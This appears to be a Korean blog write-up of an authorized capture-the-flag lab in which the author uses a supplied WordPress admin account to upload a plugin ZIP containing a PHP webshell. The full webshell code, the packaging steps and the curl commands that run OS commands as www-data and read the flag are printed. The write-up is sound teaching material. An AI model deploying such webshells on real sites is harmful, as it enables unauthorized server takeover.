WordPress 플러그인 업로드와 Webshell RCE

🛡️ 강사 제공 인가된 실습 환경에서 수행

본 글은 강사님이 제공한 인가된 교육용 CTF 환경에서 진행한 실습 기록이다. WordPress 관리자에게 플러그인 설치 권한이 부여되면 PHP 코드를 배포하고 실행할 수 있는 것은 WordPress의 의도된 권한 모델이며, 본문은 WordPress 자체의 취약점을 주장하는 내용이 아니다.

이번 문제는 WordPress 관리자 계정으로 로그인한 뒤 플러그인 업로드 기능을 이용해 PHP 웹쉘을 배치하고, www-data 권한으로 명령을 실행해 플래그를 찾는 문제이다.

전체적인 공격 흐름은 다음과 같다.

서비스 식별 → WordPress 확인 → 관리자 로그인 경로 발견 → 플러그인 업로드 권한 확인 → 웹쉘 플러그인 설치 → PHP 파일 직접 호출 → www-data 권한 RCE → 플래그 탐색 및 획득

아래 내용은 강사님이 제공한 실습용 환경에서만 진행했다. 실습 도중 인스턴스가 재할당되어 초반 스크린샷에는 192.168.10.107, 후반 스크린샷에는 192.168.10.133이 표시된다. 본문에서는 현재 할당된 주소를 <TARGET_IP>로 표기한다.

1. 첫 화면 확인 및 서비스 식별

처음 사이트를 열었을 때는 건축 회사 홈페이지처럼 보였다. 화면에 메뉴와 이미지가 많았지만 기본 테마의 예제 콘텐츠처럼 보였고, 실제 취약점과 직접 관련된 기능은 쉽게 드러나지 않았다.

이럴 때는 화면에 보이는 메뉴를 전부 클릭하기보다 먼저 HTTP 응답 헤더와 사용 기술을 확인하는 편이 빠르다.

처음에는 curl -i로 요청했는데 HTML 본문까지 전부 출력되어 결과가 너무 길었다. 따라서 -D -로 응답 헤더를 출력하고, -o /dev/null로 본문은 버렸다.

curl -sS -D - -o /dev/null -m 15 \
  http://<TARGET_IP>:18090/

응답에서 다음 정보를 확인할 수 있었다.

HTTP/1.1 200 OK
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.2.25
Link: <http://<TARGET_IP>:18090/wordpress/index.php?rest_route=/>; rel="https://api.w.org/"

Apache 위에서 PHP 애플리케이션이 동작하고 있었고, api.w.org/wordpress/index.php가 노출되어 있었다. 또한 HTML에서는 wp-content, wp-includes와 같은 경로를 확인할 수 있었다.

따라서 이 사이트가 WordPress이고, 설치 기준 경로가 /wordpress라는 것을 알 수 있었다.

2. 관리자 로그인 경로 확인

WordPress의 대표적인 관리자 경로는 /wp-admin//wp-login.php이다. 하지만 무작정 로그인 주소를 입력하기보다 /wordpress/wp-admin/에 요청을 보내 서버가 어디로 이동시키는지 확인했다.

curl -sS -D - -o /dev/null -m 15 \
  http://<TARGET_IP>:18090/wordpress/wp-admin/

응답은 다음과 같았다.

HTTP/1.1 302 Found
X-Redirect-By: WordPress
Location: http://<TARGET_IP>:18090/wordpress/wp-login.php?redirect_to=...

인증되지 않은 사용자가 /wp-admin/에 접근하자 WordPress가 /wp-login.php로 리다이렉트한 것이다. 이를 통해 로그인 페이지를 확정할 수 있었다.

http://<TARGET_IP>:18090/wordpress/wp-login.php

강사님이 제공한 student09 실습 계정으로 로그인했다. 관리자 메뉴를 살펴보니 다음 기능이 노출되어 있었다.

Plugins
├── Installed Plugins
└── Add New Plugin
    └── Upload Plugin

여기서 PHP 코드를 서버에 배치할 수 있는 경로를 떠올릴 수 있었다.

3. 플러그인 업로드에서 RCE 가능성 발견

일반적인 WordPress 미디어 업로드는 이미지나 문서 저장을 목적으로 하기 때문에 .php 파일을 차단한다. 하지만 WordPress 플러그인은 원래 PHP로 작성된다. 따라서 플러그인 설치 권한이 있는 관리자는 PHP 파일이 포함된 ZIP 패키지를 업로드할 수 있다.

공격 흐름을 정리하면 다음과 같다.

PHP 웹쉘 작성
→ WordPress 플러그인 형식으로 구성
→ ZIP으로 압축
→ Upload Plugin 기능으로 설치
→ wp-content/plugins/ 아래에 압축 해제
→ 업로드된 PHP 파일을 URL로 직접 호출
→ OS 명령 실행

여기서 중요한 점은 PHP 파일을 ZIP으로 압축하기만 하면 실행되는 것이 아니라는 것이다. WordPress가 유효한 플러그인으로 인식할 수 있도록 PHP 파일에 플러그인 헤더가 있어야 한다.

최소한 필요한 헤더는 다음과 같다.

/*
Plugin Name: Lab09 Helper
*/

Plugin Name은 실행되는 코드가 아니라 WordPress가 읽는 플러그인 메타데이터이다. 이 헤더가 없으면 WordPress는 ZIP 파일을 유효한 플러그인 패키지로 인식하지 않을 수 있다.

즉, 각 부분의 역할은 다음과 같다.

Plugin Name 헤더  → 플러그인으로 인식 및 설치
PHP 웹쉘 코드     → OS 명령 실행

다만 이것은 WordPress의 무인증 파일 업로드 취약점과는 다르다. 이번 문제에서는 제공된 관리자 계정이 가진 정상적인 install_plugins 권한을 코드 실행 경로로 이용했다. 따라서 정확하게는 인증된 관리자 권한을 이용한 임의 PHP 코드 배치 및 RCE에 가깝다.

4. 웹쉘 플러그인 제작

다음과 같은 구조로 플러그인을 만들었다.

lab09-helper/
└── lab09-helper.php

lab09-helper.php에는 다음 코드를 작성했다.

<?php
/*
Plugin Name: Lab09 Helper
Description: Temporary helper for the authorized lab.
Version: 1.0
*/

if (!isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    exit('ready');
}

header('Content-Type: text/plain');
passthru($_GET['cmd']);

cmd 파라미터가 없으면 ready만 출력하고, 값이 전달되면 passthru()를 통해 운영체제 명령을 실행한다.

이후 폴더 전체를 ZIP으로 압축했다.

zip -r lab09-helper.zip lab09-helper

압축 내부 구조도 확인했다.

unzip -l lab09-helper.zip

정상적인 구조는 다음과 같다.

lab09-helper.zip
└── lab09-helper
    └── lab09-helper.php

PHP 파일만 바로 압축하거나 디렉터리 구조가 잘못되면 설치 후 예상한 URL과 실제 경로가 달라질 수 있으므로 확인이 필요하다.

5. 웹쉘 플러그인 업로드

관리자 페이지에서 다음 순서로 ZIP 파일을 업로드했다.

Plugins
→ Add New Plugin
→ Upload Plugin
→ lab09-helper.zip 선택
→ Install Now

화면에 다음 메시지가 나타났다.

Unpacking the package...
Installing the plugin...
Plugin installed successfully.

여기서는 Activate Plugin을 누르지 않았다.

현재 웹쉘은 파일 최상단에서 exit('ready')를 실행할 수 있다. 이 상태로 플러그인을 활성화하면 WordPress가 홈페이지와 관리자 페이지를 처리할 때마다 해당 파일을 자동으로 불러오고, cmd가 없는 일반 요청이 exit()에서 중단될 수 있다.

플러그인 활성화
→ 모든 WordPress 요청에서 자동 로딩
→ 코드 오류나 exit가 사이트 전체에 영향

비활성 상태에서 PHP 파일 직접 호출
→ 해당 요청에서만 코드 실행
→ 기존 홈페이지와 관리자 페이지에 영향 없음

이번 문제에서는 PHP 파일의 URL을 직접 호출할 수 있기 때문에 활성화할 이유가 없었다. 사이트 가용성을 유지하기 위해 비활성 상태로 진행했다.

6. 업로드된 PHP 파일 직접 호출

ZIP의 디렉터리 구조를 기준으로 업로드된 PHP 파일의 경로를 예상할 수 있었다.

/wordpress/wp-content/plugins/lab09-helper/lab09-helper.php

먼저 명령어를 전달하지 않고 파일만 요청했다.

curl -sS -i -m 15 \
  http://<TARGET_IP>:18090/wordpress/wp-content/plugins/lab09-helper/lab09-helper.php

HTTP 200 OK와 함께 ready가 출력되었다.

HTTP/1.1 200 OK
Content-Type: text/plain

ready

이를 통해 다음 두 가지를 확인했다.

플러그인 ZIP이 wp-content/plugins 아래에 정상적으로 압축 해제됨
업로드된 PHP 파일을 웹에서 직접 호출하면 PHP 코드로 실행됨

이제 cmd 파라미터로 가장 기본적인 읽기 전용 명령인 id를 전달했다.

curl -sS -G -m 15 \
  --data-urlencode 'cmd=id' \
  http://<TARGET_IP>:18090/wordpress/wp-content/plugins/lab09-helper/lab09-helper.php

결과는 다음과 같았다.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

웹 서버 프로세스 계정인 www-data 권한으로 운영체제 명령을 실행할 수 있었다. 이것으로 웹쉘을 통한 RCE를 확보했다.

7. 명령 실행 단축

매번 긴 URL과 curl 옵션을 입력하기 번거로웠기 때문에 현재 터미널에서만 사용할 간단한 함수를 만들었다.

WS_URL='http://<TARGET_IP>:18090/wordpress/wp-content/plugins/lab09-helper/lab09-helper.php'

ws() {
  curl -sS -G -m 15 \
    --data-urlencode "cmd=$*" \
    "$WS_URL"
  echo
}

이후에는 다음처럼 명령을 실행할 수 있었다.

ws id
ws pwd

pwd 결과를 통해 웹쉘이 플러그인 디렉터리에서 실행되는 것도 확인할 수 있었다.

/var/www/html/wp-content/plugins/lab09-helper

별도의 Bind Shell이나 Reverse Shell을 열 수도 있지만, 이번 문제는 몇 개의 읽기 전용 명령만 실행하면 충분했다. 불필요하게 포트를 열거나 프로세스를 유지하지 않고 HTTP 웹쉘만 사용했다.

8. 플래그 탐색

RCE를 확보했으므로 파일 시스템에서 플래그 파일을 찾았다. 전체 시스템을 무제한으로 탐색하면 부하가 발생할 수 있으므로 검색 깊이를 5로 제한했다.

ws 'find / -maxdepth 5 -type f \( -iname "flag" -o -iname "flag.txt" -o -iname "*flag*.txt" \) 2>/dev/null'

다음 경로가 발견되었다.

/opt/lab/flag.txt

이후 해당 파일을 읽었다.

ws 'cat /opt/lab/flag.txt'

최종 플래그는 다음과 같았다.

CJCTF{d962a266f2f7eb1ebcd2b59b613ef2fe}

9. 정리 및 가용성 확인

플래그를 확인한 뒤 웹쉘을 그대로 남겨두면 안 된다. WordPress 관리자 페이지에서 비활성 플러그인을 삭제한다.

Plugins
→ Installed Plugins
→ Lab09 Helper
→ Delete

삭제 후에는 웹쉘 URL에서 더 이상 명령이 실행되지 않는지 확인하고, 홈페이지가 정상적으로 응답하는지 확인한다.

curl -sS -o /dev/null -m 15 \
  -w 'HTTP %{http_code}\n' \
  http://<TARGET_IP>:18090/

정상적인 경우 다음과 같이 출력된다.

HTTP 200

마지막으로 현재 터미널에 만든 함수와 변수를 제거한다.

unset -f ws
unset WS_URL

10. 마무리

이번 문제에서 가장 어려운 부분은 로그인 페이지를 찾거나 웹쉘 PHP 코드를 작성하는 것보다, WordPress의 정상 플러그인 설치 기능을 PHP 코드 배치 경로로 연결하는 것이었다.

핵심 사고 과정은 다음과 같다.

WordPress 플러그인은 PHP로 작성됨
→ 관리자는 PHP가 포함된 플러그인 ZIP을 설치할 수 있음
→ Plugin Name 헤더가 있으면 유효한 플러그인으로 인식됨
→ ZIP이 wp-content/plugins 아래에 압축 해제됨
→ PHP 파일을 웹에서 직접 호출할 수 있음
→ 플러그인을 활성화하지 않아도 OS 명령 실행 가능

파일 업로드 문제를 만났을 때는 단순히 .php 확장자가 차단되는지만 확인할 것이 아니라 다음 질문을 해봐야 한다.

어떤 기능이 실행 가능한 파일 형식을 정상적으로 허용하는가?
ZIP을 업로드하면 서버가 압축을 해제하는가?
압축이 해제되는 실제 경로는 어디인가?
그 경로를 웹에서 직접 호출할 수 있는가?
서버가 해당 확장자를 코드로 실행하는가?
파일이 정상 형식으로 인정받기 위한 헤더나 구조가 있는가?

또한 코드 실행에 성공했다는 이유로 플러그인을 불필요하게 활성화하거나 별도의 셸 포트를 여는 것보다, 문제 해결에 필요한 최소한의 읽기 전용 명령만 실행하고 즉시 웹쉘을 삭제하는 편이 사이트 가용성과 실습 환경 정리에 유리하다.

이번 문제는 관리자 권한이 있는 상황에서 WordPress 플러그인 설치 기능이 사실상 서버 측 PHP 코드 배포 권한과 같다는 것을 확인할 수 있는 문제였다.

원본 · velog.io